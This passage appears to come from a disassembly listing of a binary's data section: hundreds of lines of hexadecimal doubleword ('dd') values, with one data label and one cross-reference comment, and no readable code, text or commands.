		dd 49AD2E80h, 6D332A95h, 82430494h, 90850A13h, 47980158h
		dd 1BA450C0h, 52E538AEh, 0BD02944Ah, 77C957F2h,	1F85BC40h
		dd 0FC4FA82Ah, 3C3DCC07h, 0C2132B2Fh, 3950008Dh, 4BAA152Eh
		dd 7FB01777h, 3464BD00h, 49FF428Ah, 0A0DC0335h,	2DB56751h
		dd 0D62E44C8h, 0BCC1F900h, 0F4621863h, 1D6FE88Eh, 0CA908h
		dd 15FF0753h, 4BF0ABFBh, 0F4AD3Eh, 7AEC7B3Fh, 184038h
		dd 0D6364489h, 77FAE8F1h, 47639D00h, 2D732974h,	9FBE1E61h
		dd 756880F4h, 9795155Eh, 0AA6AEC02h, 6983E938h,	31FC8BB0h
		dd 6482034Fh, 0BE23F147h, 862A187Fh, 0A30C143Ch, 0F075CE13h
		dd 9C4E486Eh, 4633A10h,	0BF3FEAB4h, 6A9ED10Fh, 0B708A1FCh
		dd 51BE8B11h, 0E034BBCCh, 0FD0FA255h, 30E7F9h, 0E6B62A8Ch
		dd 0C4393469h, 9DC48229h, 49C6E920h, 81963A02h,	22F88D80h
		dd 0B74C2360h, 99B36202h, 6A82132Bh, 2A72408Ch,	7449D4BBh
		dd 5BEC1CC1h, 0DCA5C4C1h, 0E840560Eh, 5A803DB2h, 129F3FD4h
		dd 103046D2h, 6300C0B8h, 0A643B38Eh, 64496E2Bh,	0B6F51178h
		dd 71938B18h, 5E00D6D3h, 3162EA78h, 0E41B4DDh, 0A8F3A053h
		dd 81442416h, 8C93362Ch, 19AF55B1h, 147CEAh, 0BA6B8C86h
		dd 0F43322D7h, 1BDC3016h, 0AFAB2844h, 0B209D010h, 30984AC8h
		dd 3F09C003h, 82BF736Ah, 5B03D80h, 5A14806Ch, 0B72C27F5h
		dd 68A8C449h, 2F86C000h, 0F72658CEh, 78817A39h,	5F5006E3h
		dd 40A8EDCBh, 826BBD04h, 4C22D37h, 0E9C62FC0h, 0A002B9A3h
		dd 257F6DFEh, 50C04422h, 266E4C28h, 0A0CC6B57h,	0E164414h
		dd 404B3E01h, 0A3E12217h, 1E740C74h, 0F1EDA8FEh, 4816D161h
		dd 0F1104ECCh, 1440AF2Fh, 0F0A08903h, 82FF652Ah, 956C4148h
		dd 85B5E026h, 0ACE0038h, 25CD1729h, 88A05DEAh, 98CABDE7h
		dd 0A01A88EDh, 511C8E49h, 4BA81D00h, 0A7A52DFh,	80B5643Fh
		dd 0E5DDF5EEh, 874628Fh, 0BEC675A3h, 52809D83h,	7E4900B0h
		dd 0D06CEE95h, 0CD0F7008h, 9F1230Fh, 9C40801Fh,	18951E85h
		dd 88A9EF37h, 11353AECh, 1405C0C4h, 0A4CC3213h,	0AE3F1057h
		dd 0C5220893h, 3A9740A1h, 10C0B4F9h, 35AEA92Dh,	0BA8B33DEh
		dd 0CD9B8989h, 0FEB8B6ABh, 9500F657h, 0DE692D83h, 1B50309h
		dd 17C151F3h, 0D09C8A49h, 0E14034CAh, 8CB35456h, 2BFF00C3h
		dd 0AE571F0h, 0EB001589h, 0C49DB908h, 6E623BBh,	8AF12742h
		dd 0A005E06Eh, 0C1E0CA13h, 0C3AD0CD0h, 3309F916h, 3A130074h
		dd 0BE792F0Dh, 4DB7E876h, 6D00C051h, 0FDE523CEh, 7E003921h
		dd 0C4AE07A0h, 608BA19Eh
		dd 44BFE198h, 11015CE6h, 17C5708h, 2BF02C89h, 706569FEh
		dd 0DEB02818h, 0FA991F0Eh, 0C9C01C90h, 2A5CC82h, 6C7C01A6h
		dd 7BDB2E3Ah, 0E80404AEh, 0F7459430h, 87F440A6h, 0A809AF63h
		dd 0C7F49901h, 0AC2F80FEh, 3A95298Bh, 2DCE2810h, 511F1330h
		dd 0C1A10631h, 0EE23A3F9h, 3C188198h, 37F79C25h, 0E9463982h
		dd 0A4814E17h, 289E4CD6h, 1A00921Ch, 6CB1AF85h,	0F748003Fh
		dd 38A81B0h, 564CB3E0h,	4BC38028h, 1AA819h, 0AB41CF21h
		dd 0C7F57867h, 11282548h, 0F0CAF5Fh, 80B1EB07h,	78A1BFFEh
		dd 471A10A1h, 23860031h, 0DDB38A3Ch, 4047187h, 16D22C44h
		dd 84EA0CCCh, 8BAB9C00h, 0A181762h, 957010F4h, 27F68125h
		dd 0F100BAD7h, 0B0615565h, 984A6239h, 28600AE5h, 0CF770178h
		dd 5BB9740Ch, 2673DCF4h, 8C20D098h, 2BAB0A92h, 1A4BD3Eh
		dd 21D23437h, 0BC821451h, 78B25BAh, 1FE1856Ch, 0C59A5000h
		dd 0C3000131h, 0E2AAECC8h, 567C6A3h, 2BD25DBCh,	85908021h
		dd 20201AA6h, 710402A5h, 0AA5BE127h, 3B95FB01h,	0B8EDF84Ch
		dd 9610F940h, 5448B73Fh, 0A16C0A68h, 0D10974F7h, 466C902Fh
		dd 0AC7320F1h, 0A4F9AD28h, 4F38A8C1h, 303214D2h, 163F361Eh
		dd 39543029h, 1183BBD0h, 9AAF6F1h, 404EC32Bh, 2802A660h
		dd 7814A4D8h, 1C0854BEh, 3F75120Ah, 40BC5AD3h, 5A54E450h
		dd 391A46ACh, 0A2309664h, 4ADE72D8h, 859ECh, 32189417h
		dd 0D905C87Ch, 57EE6283h, 8ADE7800h, 0E27FA21h,	0D2E98E5Fh
		dd 57335B40h, 0CE5C9866h, 0C0263AACh, 40F34BA8h, 0F895046Ch
		dd 2B1BD67Ch, 98209EAAh, 0BAFF27F2h, 22B70DD4h,	4190B699h
		dd 7A41B2Ch, 0F0601069h, 91BC094Fh, 0C103FEE8h,	12C07522h
		dd 731E926h, 0F6E2D894h, 0F420AC49h, 64120473h,	0B430D1D7h
		dd 77540540h, 9402E3ECh, 64961093h, 239F40FAh, 0CDF72AECh
		dd 9BE912CCh, 0CE00D4Bh, 0E4E0F2C9h, 98E2BC25h,	0C048DD48h
		dd 0D05E7E82h, 7FC0F1C1h, 432607C2h, 904202F3h,	5095579Bh
		dd 75DD50Ch, 1888171h, 62299FA9h, 20BCCCF5h, 0E90F4B8Eh
		dd 602EF931h, 63EE2410h, 121F7E48h, 84E81927h, 0D3B819Ch
		dd 3EBDECEFh, 46D32C07h, 9EC0D83Bh, 7DC89454h, 8FE23065h
		dd 2A29F4C1h, 0B0A3317Ch, 3744A880h, 2191F302h,	0C0046B08h
		dd 80A555BCh, 77285FF4h, 0F01CC60h, 0D85980E1h,	25D94F3Eh
		dd 442B6824h, 552A0AABh, 980790D1h, 3C959FB7h, 868A5340h
		dd 3DA600EDh, 0BE34E6ADh, 0AA001973h, 142F0723h, 24F7C46Dh
		dd 0D0508Eh, 1A216709h,	0E70FB3C8h, 28F52Bh, 207B3969h
		dd 72AF431h, 9D1C36A7h,	71048A03h, 0F28D1084h, 68E0E6h
		dd 0FEA68C73h, 873BF050h, 0FF2C1A18h, 18140318h, 400498A0h
		dd 9E0088B3h, 8B058961h, 0E79FDA4h, 0F81D2827h,	8837A40h
		dd 0E110D419h, 9000CB34h, 0EF670DA6h, 0AC62D33Bh, 5FFD68h
		dd 1A70F1C6h, 55736100h, 0D36B0BC9h, 71820072h,	85EB08E7h
		dd 97004452h, 775164Eh,	6F1588EAh, 0F287801Ah, 42D181F5h
		dd 2037E098h, 7407D528h, 5308C167h, 0A98745E5h,	47F60140h
		dd 519061Dh, 89ADA687h,	0E1C0A1EEh, 8C40A3DEh, 37943C2Dh
		dd 3098DC14h, 51869206h, 0F80E8822h, 60D382DBh,	0C1DD45BEh
		dd 0F0D06260h, 890808Ah, 161BFACh, 559EC090h, 0E2641BCh
		dd 7FC42257h, 0AE8719C7h, 0C0EF91A5h, 79C0DD88h, 62C0F33Dh
		dd 21A960AEh, 3A886C1Ch, 0A280E9C7h, 18497005h,	0E040888Fh
		dd 0D8C86283h, 0BE7022DBh, 0BCC4A402h, 871EFE26h, 8618CDCh
		dd 9960AAE3h, 0C1D31821h, 8024415Fh, 20922B24h,	0B108B0A3h
		dd 0A680DA01h, 0B7BE6FD3h, 8718F8A4h, 759280Ah,	0DCE928B2h
		dd 0D54A18A0h, 9823D170h, 0E7A0551Dh, 0EB0F5D1Dh, 8A1D2045h
		dd 1CF4463Bh, 709FFC06h, 15F17F91h, 11728533h, 32FBB8F7h
		dd 0C00E158Fh, 831D027h, 5006A610h, 46438A80h, 6BF2CF06h
		dd 15D13762h, 289EDC30h, 949E6FA1h, 0E0280218h,	0C440C44Fh
		dd 40268858h, 32330B97h, 0DD311D0Fh, 0F20D05E1h, 89A44008h
		dd 0F16E46CBh, 9C40C156h, 0EC0D718Fh, 563905h, 6F6DD78h
		dd 467484E4h, 82288848h, 43BB4C29h, 4604F34Ch
dword_49005C	dd 0EE03C31h, 0A4A873BFh, 7A48C069h, 8514833Ch,	0E6312961h
					; DATA XREF: ___:off_427B6Co
		dd 0BC95134h, 0B6804CCFh, 67AFD609h, 7429E312h,	0C134B440h
		dd 5F70A5Ah, 0D58FFB05h, 3F480A7Ch, 1BB6D9BCh, 0BB82150Ch
		dd 3349961h, 0F80A20EEh, 1D9EA867h, 616C3930h, 0FA61C613h
		dd 0D542A976h, 1BDF010h, 3C5BBFFh, 7184E2F4h, 80087A62h
		dd 0CD696CF4h, 0FE86D200h, 0DD439AD6h, 708948DBh, 7ACC6F06h
		dd 0BD22802Ah, 0A0E900Ch, 22998E1h, 20E86520h, 0DEECACBCh
		dd 5109A0A0h, 92489C90h, 0DA1F06A0h, 247A74C2h,	8C107669h
		dd 5F380C8Fh, 2E002DECh, 8386C3BCh, 0E2541ED0h,	59360033h
		dd 0EE579C27h, 657213A2h, 0AC224500h, 0A66071DCh, 9BD00278h
		dd 97272D4Eh, 1EB90AC3h, 36FE40Ch, 0E244280Fh, 1CF206Ch
		dd 3D6E83h, 38A95771h, 72A65107h, 4F8CCE18h, 618D40h, 16C73FACh
		dd 3A37114Eh, 48955D1Dh, 0FFA2C280h, 75D082h, 721DBC57h
		dd 0CD2E6C51h, 2D59A007h, 4F863DAh, 885016C1h, 4AD1C84h
		dd 80F8CA57h, 82CF963Bh, 0B00C8B8h, 3C3A644Eh, 80ECB5h
		dd 0D4B9195Fh, 5972FA73h, 800A973h, 0C82BA324h,	30DB0B61h
		dd 864097D3h, 0D0059D0h, 5D2D6C12h, 146D92h, 76A15538h
		dd 8563FD3Dh, 5957D801h, 70F207ADh, 0CD002DCDh,	0ED418984h
		dd 3A346CECh, 1400F042h, 6FD8A9D6h, 640049D0h, 8D5C72B0h
		dd 0F21BB9h, 0DEDB4C91h, 3D84D751h, 7E1059F2h, 0E6265D6Eh
		dd 75942938h, 0A26390DBh, 0EE8800B0h, 6C6EA70Bh, 0F0075D02h
		dd 0ADE1146Bh, 754082F0h, 3DBE859h, 78BD5A45h, 0DAAB4DC7h
		dd 85CA97E8h, 32818300h, 3C025410h, 5F950043h, 0CE53DA22h
		dd 0BE0F1565h, 0A0CB846Fh, 0DB2DA930h, 400C6059h, 8DAAD095h
		dd 545280h, 0EA5D2535h,	0A1EE605Fh, 3974D600h, 1F82260Ch
		dd 0ADF608h, 598CF62Dh,	0D099EAD1h, 903A8602h, 135409h
		dd 429E9B7h, 0F8558CB3h, 2600EE2Eh, 9CAF61BCh, 690BF3h
		dd 0B4520864h, 0D5113825h, 0CCC020h, 1A9F565Ch,	0C6A54C72h
		dd 5A8CCA03h, 0B8BC242Dh, 0FEC5C485h, 3C150110h, 43E65C02h
		dd 0D468E858h, 0C267000h, 4205AD22h, 0D2620030h, 0DC0E91CFh
		dd 0F4ED89EAh, 0D00C48Eh, 386C2079h, 7F276Fh, 0A1A5D314h
		dd 240CCF75h, 5CDCBE00h, 0CA1DA95Fh, 74F0070h, 82C96EEBh
		dd 1F00903Fh, 0F337180Dh, 0B69F045h, 0CE683515h, 65FFAC02h
		dd 0A359FB00h, 5BDB262Ch, 0DF046808h, 500400FDh, 484955D3h
		dd 2F07D572h, 21A3EF54h, 0AB3454DEh, 5554E60Bh,	30782980h
		dd 2FEEED21h, 7C2EE405h, 1C702792h, 0C0EA2829h,	1ABE89A1h
		dd 3B01EF91h, 0B68AD9FFh, 108072F2h, 0BA25DD8Fh, 2105B97Fh
		dd 1D529EC0h, 3838F0h, 0D91A8712h, 3736111h, 2D37ED02h
		dd 0F1C1984Fh, 4E900E14h, 3BEE0DC0h, 5A2B8FD3h,	31101CF9h
		dd 0A1019918h, 7E07FA8Dh, 0BE736EF3h, 0F0F9B5h,	40D45B75h
		dd 0C78EE380h, 35068939h, 0FD847180h, 211A6008h, 0EC7F648h
		dd 69B9F200h, 399F5EF1h, 3F86206Bh, 0B2B00300h,	1176908Eh
		dd 37053E89h, 31AC2E08h, 0C0FA80BDh, 0A04D925Ch, 0DBA5F07h
		dd 0FC21CE4Ch, 2E00BF71h, 0F8F6EEFFh, 28CF12D6h, 1B9C3877h
		dd 0D11B950Eh, 2050FAC0h, 0AE62F0C1h, 0BC7D46C2h, 3028708h
		dd 738D1405h, 0A0F8D441h, 9882B9B2h, 1FFE9E72h,	8003BC8Eh
		dd 180638DEh, 19F10331h, 562978D1h, 8759071h, 0D58905C7h
		dd 44401BC4h, 503CC78Ah, 0F4C15203h, 0D582968Ch, 0C3BCFC0Eh
		dd 668D680h, 4A869868h,	57068020h, 7F249004h, 5ABD00A9h
		dd 5FF6F980h, 1E32191Dh, 48410848h, 1C4F4000h, 0CCF5F880h
		dd 2650B3EAh, 9DAA20A0h, 0FC495429h, 0BF067C00h, 1E2989E3h
		dd 0B3813DE8h, 21003608h, 0B9BF2D41h, 180C7159h, 0B07586B6h
		dd 0C40CF08Ch, 996D298Ah, 7C2700A2h, 0E11965A9h, 0CC001A49h
		dd 110C4135h, 3D2F91h, 0B081DB94h, 0F28EACFFh, 68D4EA00h
		dd 7F840E73h, 6487042Ch, 82E7718Bh, 0FE30020Ch,	926008C0h
		dd 276491ADh, 0BF75E640h, 0E5248760h, 0BA1517A1h, 0A0420E8h
		dd 4E7686BEh, 45467CA8h, 0A74D2C00h, 25ED137Ah,	32998701h
		dd 2E728154h, 3F910DCh,	8FDBF46Ch, 8CBB59BCh, 1816823h
		dd 0F6FA805Bh, 88791847h, 807E545Dh, 81E648h, 822D98B6h
		dd 308875DBh, 44C80372h, 154076B7h, 408D256Ch, 16C8E448h
		dd 0E7D7F19h, 6018F678h, 21FF803Dh, 5532C02Fh, 0B079C80h
		dd 421A6EC5h, 6CB0E11Eh, 61921861h, 0BBAC20B2h,	4C0EA6D2h
		dd 0A49089FFh, 2C142C0Ah, 3A035823h, 0D4898FBFh, 458EA867h
		dd 0FD4BC301h, 0FC40C056h, 4992188Ah, 80F32132h, 5AAD7B00h
		dd 0C4D050B1h, 8EB90016h, 2637696Eh, 0CC24C28Fh, 5A00203Fh
		dd 8CA18A81h, 137D903Dh, 4732AA98h, 87F60230h, 40A0CA9Eh
		dd 1C38AD41h, 188A94A1h, 0FB80095Ch, 41C4FF6h, 80515E00h
		dd 0E5857D34h, 8D6B145Ah, 0A29C90D0h, 0B7598301h, 0A5BFE8BDh
		dd 0E4D1E0h, 0ABC75081h, 0F1C54524h, 677CFF49h,	0B4DA9D59h
		dd 0A4AAF340h, 0F683006Eh, 76E92B9Ah, 0E704A0EFh, 756CFA69h
		dd 0D19568C0h, 0EA40C8Fh, 297910BAh, 46C82095h,	7C762AF2h
		dd 4CDA0E25h, 0B67D3F7h, 78986FEAh, 9E129253h, 241CC21Ah
		dd 2E968947h, 7144E4EAh, 0E8BF0760h, 0E878979h,	0C1DC2E42h
		dd 0A4560A7Bh, 601CF19Eh, 9413E5Ch, 26A60EE4h, 88CC9C4Bh
		dd 594448C2h, 0FC886481h, 8808CE14h, 0A472C028h, 0B0B6DB1h
		dd 377A8ECh, 304F62A8h,	1CA994D0h, 59C017D6h, 0DA095650h
		dd 5E76D0h, 0C4AD15B6h,	0E49C55D2h, 0A470BF05h,	1C80E00Fh
		dd 84EF9852h, 82882F74h, 0B9048880h, 0E4BCE809h, 4E3003FCh
		dd 0A6F80CF0h, 4B31C1ACh, 58B6BC00h, 9E5153DFh,	9CFC31h
		dd 0CB840849h, 6214250Ah, 8E922405h, 3C88F386h,	30BA4316h
		dd 4EE2C115h, 0A67372EFh, 0AF054470h, 7B71141Ch, 9DA50889h
		dd 80431108h, 14E2CA6Ch, 8CAE0A93h, 8FA85AB6h, 3A09F28Fh
		dd 5400240Bh, 0C085262Fh, 889EC12Ch, 429C7611h,	0ED893AC7h
		dd 450318E7h, 9B62C78Bh, 0E9669BC5h, 0DC30941Fh, 923240C6h
		dd 4DD28610h, 7AA86490h, 0C778Ch, 3A5DF6C9h, 286048F1h
		dd 0D33EC676h, 288BA956h, 0F4805D01h, 461837F6h, 563388h
		dd 9994180h, 0BCA88CA2h, 0A877C0Ch, 410A0E1h, 0F6E98826h
		dd 60B9ABh, 0C00D4A79h,	582C71ADh, 0E4741824h, 7111814h
		dd 0E01C085Ch, 2F8BB417h, 0F203D402h, 8A90A0E1h, 0B2F8A370h
		dd 0DBF70318h, 0FD501A9h, 903F2100h, 0F0627606h, 0B5C502CFh
		dd 0AC5ACAA0h, 4480705Ch, 59FBD666h, 91FC0230h,	8908FACEh
		dd 9825C4A2h, 0AE02978Fh, 0F0746D72h, 3C15E11Ch, 0E92060F0h
		dd 50861588h, 799EC88Ch, 872D8012h, 7A48B678h, 0DCFA000Ch
		dd 0D68513D3h, 0F620C118h, 447BAA88h, 878CC0E4h, 99C0CAACh
		dd 6E0B6371h, 0E9F0008Eh, 73911DE7h, 0A326382Fh, 0F28820B7h
		dd 5D4064E3h, 62BBE740h, 5D988EA3h, 7B29CCEEh, 0B93280C4h
		dd 0DEE081DCh, 0A5AA800Fh, 6B2462C0h, 9A98C462h, 2D8400D4h
		dd 0E7C86780h, 87145315h, 0C480DD62h, 10E9950Eh, 20419F01h
		dd 4CEA040Ah, 0D9269088h, 0C209A006h, 0B990DABDh, 1819790Ch
		dd 670F0003h, 7D1B5A4Dh, 45361A6Bh, 0FA5088CAh,	3E8030FAh
		dd 2B0ABE10h, 5C6E49h, 9FA9581Bh, 1FB1A63Fh, 40FA68FBh
		dd 4C862760h, 2E5018F4h, 0E5439AA8h, 82D94234h,	3B3055F8h
		dd 89E411BFh
		dd 80BD8821h, 10BF0246h, 9A3E14EAh, 57E607CDh, 802FB41Eh
		dd 1C12F197h, 0F6861898h, 32D57004h, 6140E9C0h,	665AC6h
		dd 0CA0D4DA9h, 5BBB8909h, 7A3FDF70h, 0A58A1C49h, 0F8C1B2CAh
		dd 0E9C0DCA0h, 7B126248h, 8DED30E1h, 0C0BAE47Eh, 453DC8E0h
		dd 0C0B8CCF9h, 2952949h, 0DD6D3A3Ch, 9BF1503h, 0CBF80B91h
		dd 503017Ah, 248F544Dh,	0D8610078h, 0ADFC4B0Dh,	2900F49Bh
		dd 0F51C49Dh, 12E8DBF8h, 154EDFAh, 3759AD1Ch, 8C483010h
		dd 805E048Ch, 623FF6FDh, 53342044h, 0E3010A80h,	0C1D3DA67h
		dd 84601B74h, 5CCA50ABh, 0E5E20004h, 9ACE65BCh,	187D873Ah
		dd 0F507C02h, 0A004B3B8h, 411DDBC4h, 0E6FA008Fh, 76F6AB8Ah
		dd 5F079F64h, 6FE7EDEBh, 412814D2h, 0AC605B18h,	0FF048C03h
		dd 55925DC0h, 0FB203662h, 135CBF76h, 0B065824Ah, 809D2914h
		dd 0A7E6B48h, 49C37DCh,	0F4C03858h, 46925EC0h, 27225Dh
		dd 55BF4BFCh, 84FA35D6h, 7E0AC400h, 1089EA7Ah, 205490FEh
		dd 84970B26h, 0FC541EA0h, 0B07D3B01h, 8014ACDCh, 0B860B251h
		dd 5974A7h, 0F77B84CEh,	0FA9AD9C6h, 0B7BEA604h,	0CC809392h
		dd 92D4E289h, 0A90E25A8h, 0F2096821h, 1800D330h, 0DBDD7FACh
		dd 30B6A9BEh, 0B488E84Ah, 0C094C288h, 54323A17h, 0C0803310h
		dd 0FD4B925Ah, 77C0502Dh, 0F5361CBFh, 26C0412Dh, 0CC766C01h
		dd 0B44AF28Bh, 33790800h, 2CF897FEh, 0C1040D41h, 30EC7262h
		dd 2C9B4B04h, 0DCC7E40Ch, 112C9BC5h, 8C46001Fh,	0C10EF0C7h
		dd 0CC0B00D1h, 23F8629Ch, 0B90C9ADBh, 8805379Bh, 60ECB063h
		dd 0BE8C890Ch, 9CA2741Ah, 650FA440h, 53933A00h,	7F5F898h
		dd 6B73131Dh, 0C3EC948Dh, 0A6C10614h, 2428DAh, 0B4501B9Ah
		dd 4B762D20h, 59EC044Eh, 3BD283DDh, 6D896801h, 0C249EA8Fh
		dd 66231097h, 432E98ACh, 460808A2h, 8D1202B9h, 7E000A42h
		dd 25DC1821h, 0F0981130h, 0B50BB2Dh, 0AA88E6ACh, 0F1DB2818h
		dd 148F9D08h, 8906AC34h, 0F923BCC2h, 98BF4E10h,	0A71EA10Ah
		dd 3E1B0BB9h, 892A3030h, 0E0FF4E39h, 0C8CA428h,	0F63F0017h
		dd 9115BBBCh, 1326C486h, 1F60489Ch, 938458h, 300C46F0h
		dd 73927CDEh, 14325600h, 3F08C512h, 629718BBh, 0E403588Eh
		dd 86BFDA02h, 0E2748569h, 0E458C580h, 95B16044h, 0CE64F2Fh
		dd 0ECE81788h, 7776A616h, 304C5862h, 0CB8C7F9h,	882CFD49h
		dd 81438015h, 0A185A6C7h, 1209A000h, 88F57579h,	0DC105D16h
		dd 6D69E08h, 5838462Dh,	532338E6h, 0E2BF9F3Dh, 0B42246FBh
		dd 0BF2C5C00h, 96B6F76Ch, 0EDA4122Fh, 0E3CF0083h, 9105BA1Bh
		dd 7DB2DC05h, 0A20B40h,	98EA8905h, 97F8443Ah, 0E68941Eh
		dd 61EB4C84h, 0F33E6C5Ah, 1A0906EEh, 0A31D025h,	729DB00Ah
		dd 0BF084054h, 394389F9h, 0BF0F4780h, 2F05FFEh,	0B081A400h
		dd 9E8693CCh, 0C184A2E7h, 70A90130h, 0FF803DECh, 7C83AF8Fh
		dd 90485244h, 0B5027348h, 876C067Bh, 24847CEFh,	900DEB4h
		dd 0DFF1E21h, 60D56094h, 57F7410Ch, 113AE8F2h, 0FA78630h
		dd 13C976B2h, 414CC28Fh, 0B6968A88h, 6C9C486Eh,	5183D69h
		dd 40D282B4h, 919497AAh, 8B768035h, 485AA0F6h, 0FC480C0Eh
		dd 840DDE10h, 294670A6h, 0D89608B9h, 414674h, 147A5255h
		dd 3298F74Fh, 137166CAh, 16E330C9h, 229420E0h, 0E8F0234Ch
		dd 0DA008CCEh, 207FA511h, 2DDA75Ah, 0FA90BBAAh,	2091410h
		dd 0F8E82ACh, 8B2A41C4h, 0C016C8BCh, 0A488657Fh, 1913D630h
		dd 0CDC8F1h, 0D19FB76Fh, 142F673Eh, 0CC72A80Fh,	8461B630h
		dd 58685277h, 9824D900h, 4438D5CCh, 5CB98898h, 17181A79h
		dd 0B54DC500h, 3BF49626h, 16A014F7h, 0B101B406h, 3CC675C3h
		dd 8E1401h, 0DDC0BD88h,	37AF25Bh, 0ECC09429h, 80808A38h
		dd 9802446Ah, 0F2032605h, 0ED0C8DAh, 41096FBBh,	0B810F789h
		dd 427B776h, 849420F6h,	0F06B670h, 0E28F3448h, 0C811DC9h
		dd 0A7C083BCh, 916C97B1h, 8EE080BAh, 0AD4FFAh, 0B7848CDEh
		dd 0EF3BA785h, 0AB9B9C07h, 29C9A015h, 11EC1D6Ch, 0D5C18079h
		dd 0EA86DCE0h, 2040148Ah, 59ECCD6h, 0BFA74Eh, 55B9CF8h
		dd 0F1300D7Fh, 81BB21FEh, 8E6B3076h, 0FFE70311h, 0B6013309h
		dd 69E86092h, 724428E2h, 144C0B88h, 9C22FC85h, 3CD9846Bh
		dd 0A952C303h, 0B2111524h, 0E201840Eh, 0FE882059h, 6697F854h
		dd 0CFE78F01h, 7A78F5CBh, 1098E864h, 77E3B13Eh,	80E90B76h
		dd 62CE8A41h, 9E6DBAAEh, 26042C0h, 404D380Ch, 0B0A07D20h
		dd 0AA051DD7h, 37791756h, 3001D898h, 51A13DACh,	0D00FAB10h
		dd 8C8DC205h, 4F193Eh, 0EAC411E5h, 0C03D5F53h, 4B6E5C02h
		dd 906C29E7h, 58E2CCh, 959FFB0Bh, 5DC77E6Dh, 4F07AE00h
		dd 5B5501FDh, 0A850029h, 42E38726h, 80002D81h, 78587618h
		dd 2AEC71Dh, 443AB9ACh,	90CA9A97h, 646E8441h, 0F8B1BE90h
		dd 0CE800BBEh, 1F94D2BFh, 0EF12989Fh, 88C59CA9h, 406041E4h
		dd 223478DBh, 2CCE480Ch, 85C0CB88h, 336CE525h, 12193B88h
		dd 8108A6D1h, 73D3DCD0h, 306C5686h, 8B897E1Fh, 242F9F3Ah
		dd 1127C64h, 0BC52A7C6h, 0CB018A9h, 0D4D16929h,	0EBA586C1h
		dd 0BDD8360Bh, 0BA9B0073h, 34C923FBh, 0C109784Dh, 0E88D6B72h
		dd 0FE3F88B8h, 0FA2C2FECh, 4EBD8C40h, 56D528C1h, 306C38BBh
		dd 8C27B8h, 9703CD7h, 1D36189Ch, 0DD5BC305h, 9495ECC1h
		dd 19C8CCCBh, 0B05417C3h, 0A0BA774Fh, 60A0E2FBh, 922450CDh
		dd 314E753Eh, 800EA008h, 5DB985B6h, 0A7584BCDh,	6F090797h
		dd 2E4019DDh, 1D108152h, 575A83FFh, 2DA4D289h, 14C0FD30h
		dd 7845925Bh, 0BF4CF1A0h, 4AE27D00h, 2D122B61h,	60811F7Ch
		dd 0E6DACE34h, 5D7286C0h, 21480623h, 1C0910C4h,	6688F80Bh
		dd 2C60DC42h, 7498C377h, 76044120h, 68B648F8h, 9002B784h
		dd 329876FCh, 7A396560h, 4B9A88B3h, 0DBB8331Bh,	701522C9h
		dd 0E4425E14h, 7263BD11h, 8BECEC4Ch, 7B5B848Ah,	0C1D364C0h
		dd 45A49EE4h, 0E8D46077h, 892307C7h, 41711E5h, 70C79022h
		dd 98B244C1h, 99D7300Ch, 25C854CBh, 0A864DDC0h,	0DB6F00A7h
		dd 98C1CFEBh, 389C5AB6h, 36CBDC1Dh, 0AD9C4905h,	419E8084h
		dd 20E622F0h, 0E90EB14h, 72FDAC48h, 2201322Fh, 2911F218h
		dd 9AF87480h, 0D40878E9h, 1206A4C1h, 0E7F0B229h, 3678CBE8h
		dd 40250EDCh, 0E879F0E8h, 0CA412F1Ah, 4F4538E4h, 43BCB87Ch
		dd 3DD8038Ch, 7572903Ah, 84F0DEBAh, 0CECE848h, 101C4A85h
		dd 9C5C2740h, 17BAC837h, 4800562Dh, 851D7A87h, 2C70522Eh
		dd 4024492Eh, 48CF4DCEh, 661F100h, 209FBF64h, 73DB05B1h
		dd 0A2111459h, 3043F208h, 3F5882BAh, 7C584BB0h,	148F108Eh
		dd 0A8E4ACEAh, 89887605h, 0E4EC879Eh, 0C2061EBEh, 142027E0h
		dd 0B82B7F12h, 170A409Fh, 2D45059Bh, 0C0D2A51Dh, 0CD46A201h
		dd 67FC168Ah, 0FA8F0CCCh, 8C4013D0h, 0F61220ECh, 98B16288h
		dd 90A6D081h, 213C36BEh, 0E0F4763Ch, 486CFB77h,	5986E490h
		dd 0B610C88Bh, 170174BAh, 4293BBBFh, 0B3E08880h, 1A87026Dh
		dd 2846CFCDh, 78909654h, 0EEA9813h, 0F422421h, 10289C21h
		dd 248C42BCh, 0BB0C9D7h, 44298A9Ah, 41D56C84h, 64FA8942h
		dd 0B6AC9453h, 9B143C19h, 90F66960h, 90CE6AB6h,	0F0A2A472h
		dd 1B78F801h, 7C1893A5h, 186208A2h, 914FF5Ch, 0F940EACh
		dd 10076899h, 2828825h,	424F79D7h, 0B054EB7Ch, 84330313h
		dd 0E0B4CC7Bh, 882D41F0h
		dd 626E32D8h, 81070265h, 0E8F1E421h, 9EA83420h,	0E0172F8Ch
		dd 21802091h, 0AE83B3ECh, 0E24CC05h, 0D808FC10h, 1DFCA473h
		dd 7B7A209Ah, 27600795h, 98BC1AB8h, 9080CCD9h, 7857202Bh
		dd 6908B46Dh, 6083A061h, 8A058E6Ch, 0F59754B0h,	8B6EEC80h
		dd 184049EAh, 6AB7BE06h, 9F01609Dh, 17245C88h, 0B9800AD6h
		dd 0CF5B38DDh, 8370AADBh, 5986CD05h, 0E48B2A7Dh, 0E2CF16C8h
		dd 0E03611BDh, 88069ED8h, 1A4992B7h, 0DA980804h, 0A68B07B9h
		dd 0FCB2731Eh, 26E682ECh, 691D98D0h, 0C0F3E4EAh, 1A740CBDh
		dd 7A102479h, 3E28E30Ah, 0C60BFC3Fh, 43E4C4E7h,	0E2D0526Fh
		dd 9F6B3036h, 0B62DF1E8h, 17080046h, 0B07304C2h, 718A0010h
		dd 9DB99083h, 7F7322AEh, 100FA64Bh, 90090C1Ch, 9DC24086h
		dd 4C273700h, 8971870Fh, 3B9425F2h, 0B2744C72h,	0FA8D60C0h
		dd 9D63AA2Fh, 58083493h, 1CEF9F7Ah, 77818221h, 0F46488F7h
		dd 0EE86921Dh, 0A0EA6830h, 0A18BEEE8h, 92AF1B4h, 44D29CA4h
		dd 3C7BF486h, 0B185B503h, 80C7CD8Fh, 246CB6CFh,	2CEC687Eh
		dd 0E9E33A5Fh, 0D452E20Bh, 746A779Ch, 0E9115091h, 0E4811412h
		dd 0CCEEE8B4h, 0C04BB237h, 0D08C79B5h, 0F910B921h, 0B5E819CEh
		dd 2F5F0056h, 9140F478h, 1E3ABBC0h, 9FCB04CFh, 2C524EA0h
		dd 9C4E7604h, 0C0565C48h, 89E5BF3Ch, 0B42C594Eh, 0BFE65Bh
		dd 4D3F38F7h, 0EF4C8AE7h, 6CAC2309h, 2F44A8Bh, 0E0702C4h
